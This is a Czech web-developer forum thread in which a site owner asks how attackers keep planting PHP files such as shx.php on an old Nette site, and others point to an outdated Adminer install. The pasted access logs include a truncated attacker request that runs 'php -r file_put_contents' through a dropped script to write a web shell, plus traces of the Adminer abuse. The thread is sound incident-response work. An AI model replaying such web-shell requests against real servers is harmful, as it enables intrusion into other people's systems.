Škodlivé soubory na serveru

scientific
Člen | 94
+
0
-

Ahoj všem, ve webu se mi objevují podezřelé soubory jako shx.php, KEehB.php apod. když je smažu, tak se tam po čase zase vrátí (možná spolu moc nesouvisí). V minulosti hledali na server přes shell_exec *.sql soubory a vytvářeli nějaké sqlite.

Hosting: Samohosting
Owner webu: web4
Owner podezřelých souborů: Apache
PHP Disabled_functions: shel_exec apod.
Composer show:

alchemy/binary-driver        1.5.0              A set of tools to build binary drivers
dg/adminer-custom            v1.6.3             Customization for the best database management tool written in P...
doctrine/cache               v1.4.2             Caching library offering an object-oriented API for many cache b...
evenement/evenement          v1.0.0             Événement is a very simple event dispatching library for PHP 5.3
jkuchar/pdfresponse          dev-master 5133fbe PdfResponse is wrapper of mPDF for Nette.
latte/latte                  v2.3.4             Latte: the amazing template engine for PHP
monolog/monolog              1.17.1             Sends your logs to files, sockets, inboxes, databases and variou...
mpdf/mpdf                    v6.0.0             A PHP class to generate PDF files from HTML with Unicode/UTF-8 a...
nette/application            v2.3.5             Nette Application MVC Component
nette/bootstrap              v2.3.3             Nette Bootstrap
nette/caching                v2.3.3             Nette Caching Component
nette/component-model        v2.2.3             Nette Component Model
nette/database               v2.3.5             Nette Database Component
nette/deprecated             v2.3.1             APIs and features removed from Nette Framework
nette/di                     v2.3.5             Nette Dependency Injection Component
nette/finder                 v2.3.1             Nette Finder: Files Searching
nette/forms                  v2.3.4             Nette Forms: greatly facilitates web forms
nette/http                   v2.3.3             Nette HTTP Component
nette/mail                   v2.3.2             Nette Mail: Sending E-mails
nette/neon                   v2.3.3             Nette NEON: parser & generator for Nette Object Notation
nette/nette                  v2.3.5             Nette Framework - innovative framework for fast and easy develop...
nette/php-generator          v2.3.2             Nette PHP Generator
nette/reflection             v2.3.1             Nette PHP Reflection Component
nette/robot-loader           v2.3.1             Nette RobotLoader: comfortable autoloading
nette/safe-stream            v2.3.1             Nette SafeStream: Atomic Operations
nette/security               v2.3.1             Nette Security: Access Control Component
nette/tester                 v1.5.0             An easy-to-use PHP unit testing framework.
nette/tokenizer              v2.2.1             Nette Tokenizer
nette/utils                  v2.3.4             Nette Utility Classes
neutron/temporary-filesystem 2.1.1              Symfony filesystem extension to handle temporary files
php-ffmpeg/php-ffmpeg        0.6.0              FFMpeg PHP, an Object Oriented library to communicate with AVcon...
psr/log                      1.0.0              Common interface for logging libraries
symfony/filesystem           v2.7.3             Symfony Filesystem Component
symfony/process              v2.7.3             Symfony Process Component
tracy/tracy                  v2.3.4             Tracy: useful PHP debugger

Poznatky z logů: V accesslogu jsem našel, shodu s tou IP adresou, která poprvé spustila podezřelé soubory.

[root@server~]# cat /var/log/httpd/* | grep "184.23.20.194"
184.23.20.194 - - [17/Sep/2021:01:17:58 +0200] "GET /adminer.gz HTTP/1.1" 404 5070 "-" "Screaming Frog SEO Spider/15.
184.23.20.194 - - [17/Sep/2021:01:53:00 +0200] "GET /adminer.tar.gz HTTP/1.1" 404 212 "-" "Screaming Frog SEO Spider/
184.23.20.194 - - [17/Sep/2021:02:35:24 +0200] "GET /backup.zip HTTP/1.1" 404 208 "-" "Screaming Frog SEO Spider/15.2
184.23.20.194 - - [17/Sep/2021:14:58:39 +0200] "GET /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 1920 "-" "G
184.23.20.194 - - [17/Sep/2021:14:58:40 +0200] "POST /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 2548 "-" "
184.23.20.194 - - [17/Sep/2021:14:58:40 +0200] "GET /ynSWv.php?cmd=php+-r+%27file_put_contents%28%22shx.php%22%2Cfile 172 "-" "Go-http-client/1.1"
184.23.20.194 - - [17/Sep/2021:14:58:41 +0200] "GET /shx.php HTTP/1.1" 200 - "-" "Go-http-client/1.1"
184.23.20.194 - - [17/Sep/2021:15:08:38 +0200] "GET /shx.php HTTP/1.1" 200 - "-" "Screaming Frog SEO Spider/15.2"
[root@server~]# cat /var/log/httpd/* | grep "136.144.43.139"
136.144.43.139 - - [17/Sep/2021:15:15:29 +0200] "GET /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 1920 "-" "
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "POST /adminer.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 2501 "-"
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:15:15:30 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:15:16:34 +0200] "GET /KEehB.php HTTP/1.1" 200 142 "-" "Screaming Frog SEO Spider/15.2
136.144.43.139 - - [17/Sep/2021:15:17:30 +0200] "GET /shx.php HTTP/1.1" 200 5157 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:15:18:38 +0200] "GET /shx.php HTTP/1.1" 200 5158 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:21:54:40 +0200] "GET /shx.php HTTP/1.1" 200 5158 "-" "Screaming Frog SEO Spider/15.2"
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "GET /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5181 "-" "Go-h
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "POST /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5181 "-" "Moz
136.144.43.139 - - [17/Sep/2021:21:55:52 +0200] "GET /OTlPL.php HTTP/1.1" 404 5070 "-" "Go-http-client/1.1"
136.144.43.139 - - [17/Sep/2021:22:04:59 +0200] "GET /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5182 "-" "Go-h
136.144.43.139 - - [17/Sep/2021:22:04:59 +0200] "POST /shx.php?sqlite=&username=&db=&sql= HTTP/1.1" 200 5182 "-" "Moz
136.144.43.139 - - [17/Sep/2021:22:05:00 +0200] "GET /xNRPW.php HTTP/1.1" 404 5070 "-" "Go-http-client/1.1"
[

Máte prosím pro mě nějaké tipy, jak tomu do budoucna zabránit? Že by aktualizací všeho? Je to starý server, starý web, který mám v plánu nechat dožít, než zabít půl dne zlobením se s upgrade.

Děkuji moc za rady a tipy kam se ještě na co podívat, případné dotazy o informace doplním.

Editoval scientific (29. 9. 2021 11:52)

Michal Kumžák
Člen | 106
+
0
-

Máš napadené zdrojáky. Možností jak k tomu dochází je více. Například přes nechráněný upload nebo ukradené FTP. Je také dost možné, že tam je nějaký soubor co stačí spustit, aby ti tam soubory zase vytvořil. Nejlepší by bylo, kdybys to celé smazal a nahrál to tam znova. Změň si heslo na FTP a projdi si místa, kde se provádí upload, jestli to máš zabezpečené.

Marek Bartoš
Nette Blogger | 1274
+
0
-

Jestli je web dlouho neaktualizovaný, tak může jít o toto
https://blog.nette.org/…pusteni-kodu

scientific
Člen | 94
+
0
-

NE – Upload máme na webu až za administrací, ale bylo by to vidět v accesslogu.
NE – Není tam spustitelný skript, který by soubor vytvořil, to by bylo vidět v accesslogu.
NEVÍM – Jaký má význam smazat web a ten stejný web tam zase nahrát znova?
ANO – Změn si heslo na FTP se asi hodí, log, který naznačuje přístup nějaké divné IP adresy připsané Holandsku, že na FTP byl někdo cizí, avšak s tímto problémem to nesouvisí.

[root@server www]# cat /var/log/audit/* | grep USER_AUTH | grep web4
type=USER_AUTH msg=audit(1501423609.037:481622): pid=6606 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:ftpd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_listfile,pam_shells,pam_unix acct="web4" exe="/usr/sbin/proftpd" hostname=185.115.9.* addr=185.115.9.* terminal=/dev/ftpd6606 res=success'
[root@server www]#

ANO – Aplikoval jsem patch pro CVE-2020–15227, ale jak říkám, nebylo by to vidět v accesslogu nějak? První návštěva je ten adminer.php a pak už ten nahraný soubor, ale možná mi unikají nějaké souvislosti z ještě jiných IP adres.

Díky všem za tipy, uvidíme, zda to třeba pomůže, každopádně si nemyslím, že by byl problém vyřešen.

Proto, kdyby měl někdo ještě nějaké nápady, kam se na co podívat, tak budu rád.

Michal Kumžák
Člen | 106
+
+1
-

To že je upload v administraci, ještě neznamená, že tam není díra. Viz třeba upload u wysiwyg editorů.

Marek Bartoš
Nette Blogger | 1274
+
+1
-

První návštěva je ten adminer.php a pak už ten nahraný soubor

Právě sis odpověděl, adminer. Smazat nebo aktualizovat, taky měl hlášené bezpečnostní chyby, včetně SSRF. https://www.cvedetails.com/…Adminer.html

Editoval Marek Bartoš (29. 9. 2021 12:14)